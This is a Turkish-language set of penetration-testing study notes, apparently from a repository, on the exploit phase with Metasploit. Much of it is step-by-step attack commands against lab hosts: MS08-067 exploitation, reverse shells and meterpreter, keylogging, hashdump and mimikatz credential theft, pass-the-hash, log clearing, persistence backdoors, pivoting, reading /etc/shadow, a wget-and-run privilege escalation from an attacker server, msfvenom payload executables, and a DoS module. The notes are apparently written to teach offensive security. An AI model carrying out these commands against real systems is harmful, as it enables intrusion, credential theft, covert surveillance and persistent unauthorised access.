Skip to content

Latest commit

 

History

History
533 lines (267 loc) · 16.3 KB

00-Exploit-Aşaması.md

File metadata and controls

533 lines (267 loc) · 16.3 KB

Exploit Aşaması

Genel Kavramlar

- Exploit için gerekli olan şey: Zafiyet (Vulnerability)

- Exploit: Zafiyeti sömürme işlemi.

- Payload: Exploit yapıldıktan sonra exploit edilen sisteme gönderilen kod.

- Stage Payload: Payload bazen yeterli yer olmadığı için tek seferde gönderilemeyebilir. Bu durumlarda payload'ın parça parça gönderilmesine "stage payload" denir.

- Framework (Geliştirme Çatısı): Bulunan zafiyetlerin exploit kısmını çeşitli payload'lar ile birlikte modüler bir şekilde düzenler.

- İnternetten python ile yazılmış bir exploit bularak kullanma örneği:

=> python /mnt/hgfs/Downloads/7132.py 172.16.193.149 2 (exploit'i yolladığımız kod)
  
=> nc 172.16.193.149 4444 (exploit edilen makineye girmek için kullandığımız kod)

- Metasploit Framework: Şu anda Ruby ile geliştirilen framework. Çeşitli exploit ve payload'ların bulunduğu, bu exploit ve payload'lara kolaylıkla erişilebilmemizi ve bunları modüler bir şekilde kullanmamızı sağlayan framework. Eğer çalışan ve database'de olmayan bir exploit yazabilirsek, framework'e eklenebilir. Sadece exploit'i yapmamız yeterli olacaktır. Payload'lar zaten framework bünyesinde bulunmaktadır.

- H. D. Moore: Metasploit Framework geliştiricisi.

- Metasploit Framework içerisinde bulunan bölümler:

  • 1. Auxiliary: Yardımcı tool'ların bulunduğu bölüm.

  • 2. Exploit

  • 3. Payload

  • 4. Post-exploitation: Exploit sonrası kullanılabilecek yardımcı tool'ların bulunduğu bölüm.

  • 5. Encoders: Payload olarak gönderdiğimiz kodları herhangi bir güvenlik çözümüne karşı görülmemesi için imzalarını değiştiren bölüm.

- Metasploit Framework Arayüzleri:

1. CLI (Command Line Interface) (Eğitimlerde kullandığımız arayüz)

2. WEB

3. RPC

Notlarda Kullanılan Gösterimlerin Açıklamaları

Temel Komutlar

=> msfconsole: Metasploit-framework'ü çalıştırır.

~> banner: Random seçilen bir açılış ekranı. Alt kısmında tool'da bulunan exploit, payload sayısı vb. bilgiler verir.

~> help: Modülsüz haldeki kullanabileceğimiz temel komutları listeler.

~> advanced: Kullanılan modül hakkında daha fazla bilgi almamızı sağlayan komut.

~> back: Modüller arası geçişte geri dönmek için kullandığımız komut.

~> connect: Başka bir host ile msf konsolunu birbirine bağlar, diğer host'un aldığı sonuçları bizim konsolumuzda da bu sayede görebiliriz.

~> info: Basit yardım.

~> irb: Exploit'in kaynak kodunu açıp editleyebilmemizi sağlar.

~> jobs: Bazı exploit'lerin çalışması için bazı servisleri ayağa kaldırıyoruz. bu servislerin yönetimini jobs komutu ile yapıyoruz.

~> load: Plugin yüklememizi sağlayan komut.

~> options: framework içerisinde global değişken oluşturabilmemizi sağlayan komut.

~> route: Ele geçirilen makinenin arkasındaki makinelere ulaşmak için, ele geçirilen makineyi router gibi kullanmamızı sağlayan komut.(Pivoting)

~> search: Modülleri aramamızı sağlar.

~> sessions: Açılan shell'ler arası geçiş yapabilmemizi ve bu oturumları görebilmemizi sağlayan komut.

- MS08_067 exploiti ile bir makineyi ele geçirme süreci:

~> search ms08_067 (ms08_067'yi MSF içerisinde aratıyoruz)

~> use exploit/windows/smb/ms08_067_netapi (Belirttiğimiz exploit'i kullan diyoruz)

~~> show (Modülü gösterme komutu)

~~> show options (Modül ayarlarını gösterme komutu)

~~> set RHOST 172.16.193.149 (Hedefi belirtiyoruz)

~~> show options

~~> show payloads (Kullanılabilir Payload'ları gösterme komutu)

~~> show targets (Exploit'in çalıştığı hedefleri gösterme komutu)

~~> set PAYLOAD windows/shell/bind_tcp (Payload'ımızı seçiyoruz, eğer bu işlemi yapmazsak MSF bizim yerimize en uygun Payload'ı seçecektir.)

~~> show options

~~> set LPORT 1984 (Bağlantıyı dinleyeceğimiz port'u ayarlıyoruz)

~~> show options

~~> check (Hedefin bu exploite karşı zafiyeti olup olmadığını kontrol ediyoruz)

~~> exploit (Exploit işlemini başlatıyoruz)

>> ctrl+z (Session'u arkaplana atar ve msf'ye geri döner)

~~> sessions (Oturumları listeler)

~~> sessions -i 1 (1. Oturumu açar)

>> ctrl+c (session'u kapatır)

~~> exploit

>> (Exploit makineye restart atmadan tekrar çalıştırılabildi. Bunun sebebi kullandığımız exploit ve payload'ın stabil olarak çalışıyor olması.)

  • Sistemin exploit göndereceğimiz port'una erişiyor olabiliriz. Ancak başka bir port'a bağlanamayabiliriz. Bu durumda sistemi exploit etmiş oluruz ancak payload'dan yararlanamayız. MSF'nin sunduğu reverse shell seçeneği bu durum için bir çözüm sunar. Sistemin bize bağlantı kurma isteği yollamasını sağlar.

    - Uygulama: (Aynı exploit üzerinden devam ediyoruz. Sadece payload'ı değiştirdik)

    ~~> set PAYLOAD windows/shell/reverse_tcp
    
    ~~> show options
    
    ~~> set LHOST 172.16.193.151 (kendi IP adresimiz)
    
    ~~> set LPORT 443 (boşta olan herhangi bir port)
    
    ~~> show options
    
    ~~> exploit
    
    \>> ^C (ctrl+c abort session)
    

- Farklı payload uygulamaları:

- Messagebox payload'ı:

~~> set PAYLOAD windows/messagebox/

~~> show options

~~> set ICON INFORMATION

~~> set TEXT POwned you

~~> set TITLE Hacker!

~~> show options

~~> exploit

- Execute payload'ı:

~~> set PAYLOAD windows/exec/

~~> show options

~~> set CMD cmd.exe /c "mkdir c:\\Docume~1\\Administrator.Ambush\\Desktop\\Hacked"

~~> exploit

- Meterpreter/reverse_tcp payload'ı:

~~> set PAYLOAD windows/meterpreter/reverse_tcp

~~> show options

~~> set LHOST 172.16.193.151

~~> exploit

- Meterpreter komutları:

M> help

M> pwd

M> cd "C:\\Docume~1"

M> pwd

M> ls

M> mkdir meterpreter

M> rmdir meterpreter

M> download password.txt (bulunduğu dizindeki password.txt dosyasını indirir)

M> screenshot (girdiğimiz sistemin ekran görüntüsünü alır)

M> upload (dosya upload edebiliriz)

M> shell (komut satırına geçiş yapar)

\>> ctrl+z (komut sistemini arka plana atıp meterpreter'e geri dönüş yapar)

M> channel -l (açılan kanalları görüntüler)

M> channel -i 2 (kanala geçiş yapar)

\>> exit (shell oturumunu kapatır, meterpreter'e döner)

M> ps (process'leri görüntüler)

M> kill 3512 (ID'si 3512 olan process'i sonlandırır)

M> sysinfo (sistemle ilgili özet bilgi verir)

M> getuid (mevcut kullanıcı adını döndürür)

M> getprivs (yetkilerimizi listeler)

M> ps (process'leri listeler)

M> migrate 3792 (3792 ID'li process'e geçiş yapar, eğer 3792 sonlandırılırsa session kapanır. Bu komutu kendimizi daha sağlam bir yere almak için kullanırız.)

M> getpid (şu anda sömürmekte olduğumuz process ID'sini döner.)

M> arp (arp tablosunu görüntüler)

M> route (route tablosunu görüntüler)

M> migrate 2968 (explorer.exe)

M> keyscan_start (çalışması için sömürdüğümüz process'in tuşları kaydeden bir process olması gerek, örnek: explorer.exe)

M> keyscan_dump (basılan tuşları görüntüler)

M> migrate 432 (ekran kilitliyken girilen şifreleri alabilmek için winlogon.exe process'ine geçiş yapmamız gerekir)

M> keyscan_start

M> keyscan_dump

M> keyscan_stop

M> idletime (klavye ve mouse'nin kullanılmadığı süre. bu süreye bakılarak kişinin bilgisayar başında olup olmadığı anlaşılabilir)

M> migrate 3268 (admin kullanıcısının sahip olduğu bir process)

M> getuid (Cevap: Server username: AMBUSH\Administrator)

M> getsystem (sahip olduğumuzdan daha yüksek, elde edebileceğimiz yetkileri ele geçirmeye çalışır)

M> getuid (Cevap: Server username: NT AUTHORITY\SYSTEM (a.k.a root))

M> hashdump (Gerekenler: sistem yetkisi. Sistemdeki parola hashtag'lerini elde etmemizi sağlar)

M> reg (kayıt dosyalarına erişim ve müdahale etme imkanı tanır.)

M> exit

- vncinject payload'ı:

~~> set PAYLOAD windows/vncinject/reverse_tcp

~~> show options 

~~> set ViewOnly false (false değeri ekranı kontrol edebilme yetkisi verir, true değeri sadece izleme modunda açar)

~~> exploit

E> (Hedefin ekranına girer ve ekranı kontrol edebilir)

Post-Exploitation:

- Uygulama:

~~> set PAYLOAD windows/meterpreter/reverse_tcp

~~> exploit

M> background

~~> show post (kullanabileceğimiz post-exploitation'ları görüntüler)

~~> use post/windows/gather/checkvm

P~> show options

P~> sessions

P~> set SESSION 10

P~> exploit

P~> search virtualbox

P~> sessions -i 10

M> run checkvm (run: post-exploitation modüllerini meterpreter içerisinde kullanmamızı sağlar)

Auxiliary:

- Uygulama:

- Scanner uygulaması

P~> show auxiliary

P~> search snmp

P~> use auxiliary/scanner/snmp/sbg6580_enum

A~> show options

A~> set RHOSTS 172.16.193.158

A~> exploit

- DoS Uygulaması:

A~> use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

A~> show options

A~> set RHOST 172.16.193.149 

A~> check

A~> exploit

---172.16.193.149(windows) iptal---

- Payload'ı çalıştırılabilir bir dosya olarak sistemde bırakmak:

A~> use payload/windows/meterpreter/reverse_tcp

M> show options

M> set LHOST 172.16.193.151

M> generate (mevcut payload'ları çalıştırılabilir dosya haline dönüştürür)

M> generate -t exe -f payload.exe (payload'ı bulunduğumuz dizine payload.exe olarak çıkartır)

- Gelen payload'ı dinleyebilmek için:

M> use exploit/multi/handler 

~~> show options

~~> set LHOST 172.16.193.151

~~> set LPORT 4444

~~> run

M> (meterpreter konsolu açılır)

M> portfwd add -l 2222 -r 192.168.0.1 -p 80 (hedef sisteme route tanımı girer)

M> portfwd delete -l 2222

M> shell

\>> edit

\>> ipconfig

\>> mkdir test

\>> ^Z

M> shell

\>> 

Karıştırılan Bazı Kavramlar

- Encryption: Şifreleme

- Encoding: Fotoğraf vs. gibi dosyaları makine diline çevirme işlemi, dönüştürücülük yapma işlemi.

- Hashing: Bir verinin kendisine özel geri döndürülemez bir çıktısıdır. Bu çıktı sayesinde aktarılan verinin bütünlüğü kontrol edilir.

Post-Exploitation(Windows):

- Pass the Hash Saldırısı: Hash'ine sahip olduğumuz şifreyi, şifreyi bilmeden diğer makinelere erişim için kullanabiliriz.

- Uygulama:

~~> exploit

M> getuid

M> use incognito

M> list_tokens -u (atlayabileceğimiz kullanıcıları listeler)

M> impersonate_token XPTESTMACHINA\\rpdtest

M> getuid

M> getsystem

M> run post/windows/gather/enum_applications (makinede yüklü programları tespit eder)

M> background

~~> search skype

~~> sessions -i 3

M> run post/windows/gather/credentials/skype (eğer skype servisi yüklüyse skype'den bilgi çekmek için kullanılabilecek bir post-exploitation)

M> getsystem 

M> hashdump (kullanıcı şifrelerinin hash'lerini çeker)

M> background

~~> use exploit/windows/smb/psexec

~~> set rhost 192.168.20.10

~~> set SMBUSER test

~~> set SMBpass "hashdump ile elde ettiğimiz hash"

~~> exploit    

Advanced Komutlar

M> clearev (arkamızda bıraktığımız log'ları temizler)

M> ps aux (sistemdeki process'leri listeler)

M> migrate PID (PID: Process ID)

M> run persistence -A -i 10 -p 6767 -r 192.168.0.24 (Sistem bize belli süre aralıklarında bağlantı isteği gönderir, bu sayede sızdığımız sistemde bir backdoor(arka kapı) bırakmış oluruz ve bu isteklerden birini yakalayarak tekrar sisteme sızabiliriz)

- Mimikatz Kullanımı:

~> use exploit/multi/handler

~~> set payload windows/meterpreter/reverse_tcp

~~> set lhost 192.168.0.24

~~> exploit

M> load mimikatz (mimikatz: RAM'de kayıtlı şifreleri gösterir)

M> help mimikatz

M> mimikatz_command -f sekurlsa::searchPasswords

Pivoting

  • Sızdığımız makinenin bağlı olduğu ağa bağlı olan diğer makinelere, sızdığımız makineyi router olarak kullanıp atlama işlemine Pivoting denir. (Sızdığımız makinede ipconfig komutunu çalıştırırsak başka ağlara bağlı olup olmadığını görebiliriz.)

    - Uygulama:

    M> run autoroute -s 172.16.0.0/16 (172.16.0.0/16 ip'ye sahip bir interface, sızdığımız makineyle bağlantılı olsaydı pivoting işlemi yapabilmemiz için sızdığımız makineyi router olarak conf. etmemizi sağlayan komut)

Post-Exploitation(Linux)

=> cat /etc/issue (işletim sistemini öğrenir)

=> cat /etc/passwd (içeride tanımlı olan kullanıcıları ve bu kullanıcıların yetkilerini listeler, kullanıcı isimlerini tespit ederek brute force yapabiliriz)

=> cat /etc/shadow (sistemdeki kullanıcı şifrelerinin hash'lenmiş halinin bulunduğu dosya)

=> /home/osman/.bash_history (Osman'ın çalıştırdığı bütün komutlar burada kayıt edilir)

=> cat /root/.bash_history

=> uname -a (İşletim sistemini görüntüler, kullanılan işletim sistemine ait bir exploit olabilir.)

=> id (kim olduğumuzu ve hangi yetkilere sahip olduğumuzu gösterir)

=> /home/user/.ssh (ssh key'lerinin bulunduğu dizin)

=> ssh osman@192.168.99.100 (192.168.99.100 adresine ssh isteği yollar)

=> crontab -l (zamanlanmış görevleri listeler. sistemde backdoor bırakmak için kullanılabilir)

=> w (sistemle erişim halinde olan kullanıcıları listeler)    

- Yetki yükseltme saldırısı:

- Saldırgan:

=>(Desktop) python -m SimpleHTTPServer 8989 (8989 portumuzda bir web server ayağa kaldırıyoruz)

- Hedef:

=> cd /tmp

=> wget http://192.168.0.24:8989/local.c

=> gcc local.c -o exploit

=> chmod +x exploit

=> ./exploit

# id

MSFVenom

=> msfvenom -l (listeleme)

- msfvenom ile exe dosyası oluşturma:

=> msfvenom -p windows/meterpreter/reverse_tcp LHOST 192.168.0.10 LPORT=3216 -f exe -o venom.exe
Notlar
  • Payload'dan çıkıp, tekrar exploit ettiğimiz zaman makine crash olabilir ve payload bu sefer düzgün çalışmayabilir. Makine reset attığında tekrar çalışır.

  • Metasploit konsolu aynı zamanda terminal'de desteklenen komutları da çalıştırır. (Örnek: ls, pwd, ifconfig vb...)

  • Sömürdüğümüz process'in sahibinin yetki seviyesine sahip oluruz. Bizden düşük yetkide bir işleme geçiş yapabiliriz ancak bizden yüksek yetkide bir process'e geçiş yapamayız. Bizden düşük yetkide bir işleme eğer Admin yetkisinden geçersek, admin yetkisine bir daha geri dönemeyebiliriz.

  • DOS'a sebebiyet veren modüller auxiliary dizininde yer alır.

  • payload.exe bir web sitesine yüklenir. Hedef siteye girip payload.exe'yi indirip çalıştırırsa yine exploit ile elde edeceğimiz etkiyi elde ederiz.

  • Post-exploitation süreci hedefe sızdıktan sonra yapılacak her şeyi kapsar.

  • ~~> sessions -K (tüm session'ları kapatır)

  • tmp dizini (RAM mantığıyla çalışan bir dizin)

  • Reverse_tcp ile Bind_tcp arasındaki fark: reverse_tcp bizim conf.ladığımız şekilde bize bağlantı isteği açar. bind_tcp ise hedef makinede bizim conf.ladığımız bir portu açar, biz daha sonra bu porta bağlanırız.

  • PHP payload'larda getsystem, mimikatz gibi komutlar kullanılamaz. Windows payload ile sisteme girmişsek kullanılabilir. PHP payload durumunda içeri msfvenom ile yarattığımız bir exe atıp c99.php kullanarak bunu execute etmeliyiz. bu esnada exploit/multi/handler ile port'umuzu dinlemeliyiz.